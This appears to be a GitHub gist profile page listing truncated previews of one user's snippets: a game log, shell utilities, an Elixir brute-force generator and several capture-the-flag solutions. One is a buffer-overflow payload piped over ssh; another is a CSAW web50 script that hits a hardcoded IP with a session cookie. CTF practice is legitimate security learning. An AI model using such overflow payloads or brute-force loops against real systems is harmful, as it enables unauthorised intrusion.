Skip to content

Instantly share code, notes, and snippets.

😇
I'm fine

oppai oppai

Block or report user

Report or block oppai

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@oppai
oppai / kodam_2017-07-23.log
Created Jul 22, 2017
usercode 7751500103643856175userid 31223305665193332
View kodam_2017-07-23.log
{"uuid":"d4f73ca8-c2f7-48af-a7a0-11b1c3cf1692","user_id":31293054044430773,"time":"2017-07-22 16:30:17.757","tag":"analysis","stats":{"user_move_order":1,"user_deck":{"cards":[{"luck":1,"is_leader":true,"card_id":89},{"luck":3,"is_leader":false,"card_id":75},{"luck":1,"is_leader":false,"card_id":74},{"luck":2,"is_leader":false,"card_id":71},{"luck":1,"is_leader":false,"card_id":155},{"luck":5,"is_leader":false,"card_id":90},{"luck":1,"is_leader":false,"card_id":73},{"luck":7,"is_leader":false,"card_id":65},{"luck":6,"is_leader":false,"card_id":68},{"luck":2,"is_leader":false,"card_id":70}],"brand_id":30},"type":"log_game_start","team_move_order":0,"team":{"team_league_rank":{"updated_at":1500740961,"team_id":31295234543679894,"season_id":1003,"point":1040,"max_league_rank_id":2001,"league_rank_id":2001,"inserted_at":1498151530,"id":31295234583656588},"team":{"user_2_id":31223305665193332,"user_1_id":31293054044430773,"updated_at":1500740579,"played_at":1500740579,"name":"カピパラハウス","is_cpu":false,"inserted_at":
View dotfile-svn.log
$svn checkout http://github.com/oppai/.dotfiles
Redirecting to URL 'https://github.com/oppai/.dotfiles':
Error validating server certificate for 'https://github.com:443':
- The certificate is not issued by a trusted authority. Use the
fingerprint to validate the certificate manually!
Certificate information:
- Hostname: github.com
- Valid: from Thu, 10 Mar 2016 00:00:00 GMT until Thu, 17 May 2018 12:00:00 GMT
- Issuer: www.digicert.com, DigiCert Inc, US
- Fingerprint: d7:9f:07:61:10:b3:92:93:e3:49:ac:89:84:5b:03:80:c1:9e:2f:8b
View remove-key.sh
#!/usr/bin/env sh
all_keys=$(ssh-add -l | cut -f 3 -d ' ')
remove_key=$(ssh-add -l | peco | cut -f 3 -d' ')
new_keys=$(echo "$all_keys" | grep -v $remove_key)
ssh-add -D
for path in $new_keys; do
View bruteforce.exs
defmodule Bruteforce do
def default_char_list do String.codepoints("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-+=:?!@#$%^&*()") end
def increment(%{digits: digits, chars: chars}) do
case digits do
[current|tail] ->
if current+1 >= length(chars) do
%{digits: new_digis, chars: _} = Bruteforce.increment(%{digits: tail, chars: chars})
%{digits: [0] ++ new_digis, chars: chars}
else
%{digits: [current+1] ++ tail, chars: chars}
View dctf2015_e100.rb
#usage: ruby dctf2015_e100.rb | ssh xxx@xx.xx.xx.xx
str = 'A' * 0x34 + [0x8048650].pack("I*")
puts str
View fore100netans.py
import string
import random
from base64 import b64encode, b64decode
FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'
enc_ciphers = ['rot13', 'b64e', 'caesar']
dec_ciphers = ['rot13', 'b64d', 'caesard']
def rot13(s):
@oppai
oppai / web50_solve.rb
Created Sep 22, 2015
csawctf2015 web50
View web50_solve.rb
require 'net/http'
require 'uri'
http = Net::HTTP.new('54.209.88.227', 80)
# oppai2-1000
cookie = "session=eyJpZCI6OTQ4MTIsInRva2VucyI6MzE1Nn0.COCK7w.njxoA3POhr3wd4hIpYWpclygzUs; HttpOnly; Path=/"
# cleared: eyJpZCI6OTQ4MTIsInRva2VucyI6MzE1Nn0.COCLJw.s4HgvN6NHWsW1S6ORGnr9G5JGA8
suffix = 1
loop do
@oppai
oppai / 0_reuse_code.js
Last active Aug 29, 2015
Here are some things you can do with Gists in GistBox.
View 0_reuse_code.js
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console
View solver.rb
def char_num(n)
return 0 if n == 'P'
return 1 if n == 'L'
return 2 if n == 'U'
return 3 if n == 'S'
end
alfa = "あいうえおかきくけこさしすせそたちつてとなにぬねのはひふへほまみむめもやゆよらりるれろわをんがぎぐげござじずぜぞばびぶべぼぱぴぷぺぽ".split('')
text = "PLSUPUUSPSPLPPPLPPPLPLLUPLUUPLULPPLLPSPLPLSUPPPLPUPSPLPUPSUUPLPSPSUSPLUUPSSPPUPLPPPUPUSSPPSPPPUSPLULPULUPULLPSUPPSSSPPPUPPPLPLPUPUPPPUPUPUSPPUUSPSPSLPPPPSSSPLPLPLUPPLSPPLUSPULSPSLLPPPUPPSSPLUUPUPUPUUPPUSSPPPLLPPPPSSSPUPPPULLPULPPSPPPSSUPSSSPPLUPLPLPLLLPLLPPUPSPUUUPSUPPPLPPPUPPPLLPPLPPLLSPLLSPULUPULLPULLPULPPSLUPPUPPPUPPLULPLUPPLSLPULLPSLUPPLSPLUUPLUP"
slice_text = text.scan(/.{1,4}/)
You can’t perform that action at this time.